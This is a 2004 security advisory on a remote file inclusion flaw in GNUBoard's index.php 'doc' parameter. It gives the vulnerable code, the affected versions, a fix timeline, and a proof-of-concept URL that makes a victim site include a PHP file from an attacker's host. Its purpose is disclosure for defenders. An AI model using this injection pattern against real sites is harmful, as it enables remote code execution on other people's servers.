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STG Security Advisory: [SSA-20041214-14] GNUBoard PHP injection vulnerability
From: "SSR Team" <advisory () stgsecurity com>
Date: Wed, 15 Dec 2004 19:30:28 +0900

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STG Security Advisory: [SSA-20041214-14] GNUBoard PHP injection
vulnerability.

Revision 1.0
Date Published: 2004-12-14 (KST)
Last Update: 2004-12-14
Disclosed by SSR Team (advisory () stgsecurity com)

Summary
========
GNUBoard is one of widely used web BBS applications in Korea. Because of an
input validation flaw, a malicious attack can run arbitrary commands with
the privilege of the HTTPD process, which is typically run as the nobody
user.

Vulnerability Class
===================
Implementation Error: Input validation flaw

Impact
======
High : arbitrary command execution.

Affected Products
================
GNUBoard 3.39 and prior versions
php.ini : register_globals = On

Vendor Status: FIXED
====================
2004-12-06 Vulnerability found.
2004-12-06 GNUBoard developer notified.
2004-12-06 GNUBoard 3.40 is released.
2004-12-14 Official release.

Details
=======
For improper verification of input value of the parameter, the "doc"
parameter in "index.php" can be exploited to include arbitrary files of
external or local resources to execute arbitary commands.

index.php
- - ----
if (!$doc) {  (1) <-- check point
    $doc = './main.php';
}

// php ??? ??? ??? ? ??
$tmp = explode(".", $doc);
$extension = $tmp[count($tmp)-1];
if (!preg_match("/^(php[3]?|[p]?htm[l]?)$/i", $extension) || count($tmp)<=1)
{
    echo "php php3 htm html phtml ??? ??? ? ????.";
    exit;
}
......
ob_start();
include $doc; (2) <-- include point
- - ----

Proof of concept :
http://[victim]/gnu3/index.php?doc=http://[attacker]/[attack].php

Solution
=========
Update to 3.40
http://sir.co.kr/?doc=bbs/gnuboard.php&bo_table=pds&page=1&wr_id=1871

Vendor URL
==========
http://www.sir.co.kr/

Credits
======
Jeremy Bae at STG Security

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